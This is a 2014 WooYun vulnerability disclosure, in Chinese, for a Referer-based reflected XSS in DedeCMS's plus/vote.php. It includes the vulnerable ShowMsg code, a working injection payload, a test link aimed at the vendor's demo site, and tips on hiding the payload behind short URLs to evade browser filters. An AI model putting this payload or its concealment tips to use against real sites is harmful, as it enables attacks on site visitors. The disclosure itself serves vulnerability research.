当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-075535

漏洞标题:dedecms 全版本xss跨站一枚( referer构造触发)

相关厂商:Dedecms

漏洞作者: 风情万种

提交时间:2014-09-10 16:24

修复时间:2014-12-06 16:26

公开时间:2014-12-06 16:26

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-10: 细节已通知厂商并且等待厂商处理中
2014-09-15: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-11-09: 细节向核心白帽子及相关领域专家公开
2014-11-19: 细节向普通白帽子公开
2014-11-29: 细节向实习白帽子公开
2014-12-06: 细节向公众公开

简要描述:

dedecms 全版本!xss跨站一枚! referer构造触发!

详细说明:

文件:/plus/vote.php

$ENV_GOBACK_URL = empty($_SERVER['HTTP_REFERER']) ? '':$_SERVER['HTTP_REFERER'];
............................................
//判断是否允许被查看
$admin = new userLogin;
if($dopost == 'view')
{
if($row['view'] == 1 && empty($admin->userName))
{
ShowMsg('此投票项不允许查看结果',$ENV_GOBACK_URL);
exit();
}
}
.........................


ShowMsg 函数

function ShowMsg($msg, $gourl, $onlymsg=0, $limittime=0)
{
if(empty($GLOBALS['cfg_plus_dir'])) $GLOBALS['cfg_plus_dir'] = '..';
.....................................................
$func .= "var pgo=0;
function JumpUrl(){if(pgo==0){ location='$gourl';
pgo=1; }}\r\n";
$rmsg = $func;
$rmsg .= "document.write(\"<br /><div style='width:450px;padding:0px;border:1px solid #DADADA;'>";
$rmsg .= "<div style='padding:6px;font-size:12px;border-bottom:1px solid #DADADA;background:#DBEEBD url({$GLOBALS['cfg_plus_dir']}/img/wbg.gif)';'><b>DedeCMS 提示信息!</b></div>\");\r\n";
$rmsg .= "document.write(\"<div style='height:130px;font-size:10pt;background:#ffffff'><br />\");\r\n";
$rmsg .= "document.write(\"".str_replace("\"","“",$msg)."\");\r\n";
$rmsg .= "document.write(\"";
.......................................................
echo $msg;
}


$_SERVER['HTTP_REFERER'] 未过滤直接输出到js中!由于官方默认数据库均有一个投票记录 所以基本上都可以触发此xss
$_SERVER['HTTP_REFERER']明显是不安全的 比如我在本地写一个文件test.html

<a href="/dedecms7/plus/vote.php?aid=1&dopost=view">xss测试</a>


打开此文件 url这样: http://192.168.1.89/test.html?a=';alert(/xss/);pgo=1}// 然后点击xss测试 就触发了xss

1.gif


同样织梦官方demo也不例外 只需把链接改成 <a href="http://v57.demo.dedecms.com/plus/vote.php?aid=1&dopost=view">xss测试</a>

2.gif


那么咋利用呢?很简单!只需要把 http://192.168.1.89/test.html?a=';alert(/xss/);pgo=1}// 变成自动跳转就行!
现在有短地址嘛!!!完全看不出xss痕迹!还可以逃避浏览器的xss过滤

漏洞证明:

1.gif


2.gif

修复方案:

....

版权声明:转载请注明来源 风情万种@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-06 16:26

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2014-09-10 16:40 | bey0nd ( 普通白帽子 | Rank:895 漏洞数:142 | 相忘于江湖,不如相濡以沫)

    前排瓜子

  2. 2014-09-10 16:45 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸!)

    我mark了

  3. 2014-09-13 15:51 | MuZhU0 ( 路人 | Rank:6 漏洞数:4 )

    前排坐等